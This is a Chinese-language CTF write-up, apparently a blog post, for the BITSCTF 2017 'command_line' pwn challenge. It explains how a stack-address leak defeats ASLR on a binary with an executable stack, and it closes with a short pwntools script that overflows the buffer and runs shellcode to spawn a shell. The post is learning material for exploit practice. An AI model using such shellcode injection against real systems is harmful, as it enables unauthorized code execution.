shellcode-bitsctf_2017_command_line

1 int __cdecl main(int argc, const char **argv, const char **envp)
2 {
3   char v4; // [rsp+0h] [rbp-10h]
4 
5   printf("0x%lx\n", &v4, envp);
6   __isoc99_scanf("%s", &v4);
7   return 0;
8 }

IDA打开发现存在scanf函数,这个函数能够接受任意长度的数据,所以存在栈溢出漏洞。并且观察了所有的函数,并没有存在后门,所以这里作为一道简单题,就要传一个shellcode来执行了。这里也并没有全局变量,因此无法向bss段去写入shellcode,只能从栈上下手了。

 

 

 check一下发现,NX没有打开,所以这个程序的栈是可以执行的。

但是还有一个保护是ASLR,这个保护是在远程设备里开启的,它会把栈的地址随机化,也就是说每一次打开这个程序,他的地址都会变化,因为有这个ASLR的存在,即使把shellcode写入了栈里,在进行pwn攻击时,也是无法找到这个栈的绝对地址的。

 

 

 

 

 

 

 

 

 如上三个图所示,这个题在buuctf里有(但是好像部署的有问题,必须得输入点东西回车后,才能返回这个地址),可以看到,每一次打开,这个地址都会变化。

通过IDA中我们可以看到,程序把v4所在的栈帧地址给打印出来了,又由于v4的地址是rsp+0h,所以这个地址其实就是rsp的绝对地址。即使由于ASLR的存在,每次栈的地址都会发生变化,但是这个程序却把每次变化的值告诉了我们。

通过以上分析,我们就可以构造payload了,首先通过pwntools得知,需要覆盖0x18个字节的填充数据,然后再加上shellcode地址,再之后跟的就是shellcode了。

即payload=b‘A’*0x18+shellcode地址+shellcode

稍微有点难的地方就在于这个shellcode地址,程序给我们打印出的值是v4在栈中的地址,也就是rsp,我们需要填充0x18个字节之后再用8个字节填充shellcode地址,因此shellcode地址为rsp+0x18+0x8才对。

1 from pwn import *
2 context.arch="amd64"
3 io=process('./bitsctf')
4 #io=remote('node3.buuoj.cn',27942)
5 ret=int(io.recv()[0:14],16)
6 payload=b'A'*0x18+p64(ret+0x20)+asm(shellcraft.amd64.sh())
7 io.send(payload)
8 io.interactive()

 

 本地调试可以,但是在buuctf上,没有得到flag。

这个题我觉着我是理解的,但是由于水平有限,感觉写的还是乱七八糟。给我的启示一个是,相对地址和绝对地址的区别,就像是在这个题里,虽然有ASLR的存在,但是RSP和RBP的相对位置是不变的,因此就能够得知填充多少字节的垃圾数据了。但是又因为绝对地址是变化的,所以在往栈上传shellcode时,必须得知道绝对地址才能够返回到这里。另一个是加深了我对栈的理解。

posted @ 2020-12-09 11:01  大金刚仔  阅读(160)  评论(0编辑  收藏  举报